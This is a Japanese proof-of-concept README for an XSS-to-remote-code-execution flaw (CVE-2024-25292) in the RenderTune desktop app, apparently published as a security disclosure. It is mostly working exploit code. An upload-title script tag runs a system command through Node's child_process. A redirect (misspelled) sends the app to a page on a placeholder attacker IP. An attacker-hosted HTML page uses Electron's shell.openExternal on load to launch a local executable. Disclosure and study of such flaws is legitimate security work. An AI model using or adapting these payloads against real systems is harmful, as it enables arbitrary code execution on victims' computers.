
RenderTune v1.1.4 における XSS to RCE エクスプロイト
CVE-2024-25292 脆弱性の Proof-of-Concept です。
RenderTune v1.1.4 のクロスサイトスクリプティング(XSS)脆弱性により、攻撃者は Upload Title パラメータに仕込んだ巧妙なペイロードを介して、任意の Web スクリプトまたは HTML を実行できます。
このリポジトリには、脆弱なサンプルアプリケーションと、その Proof-of-Concept(POC)エクスプロイトが含まれています。
XSS を介して RCE を可能にする脆弱性です。 タイトルに XSS が発生可能な部分があり、XSS の構文を介して NodeJS の構文を通じて RCE を可能にする脆弱性です。
ステップ 1) タイトル部分で XSS が発生することを確認します ※ このとき、画像が添付されていないと Upload 項目は登録されません
<b>jruru</b>

ステップ 2) したがって、XSS を使用して NodeJS のシステムコマンドを実行するように構成します。
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ window.location を使用して攻撃を試みると、アプリを実行するたびに設定したページに自動的に移動します。
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
注意: ※ すばやくテストしたい場合は、攻撃者の PC で次のコードを使用してサーバーを作成します。
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
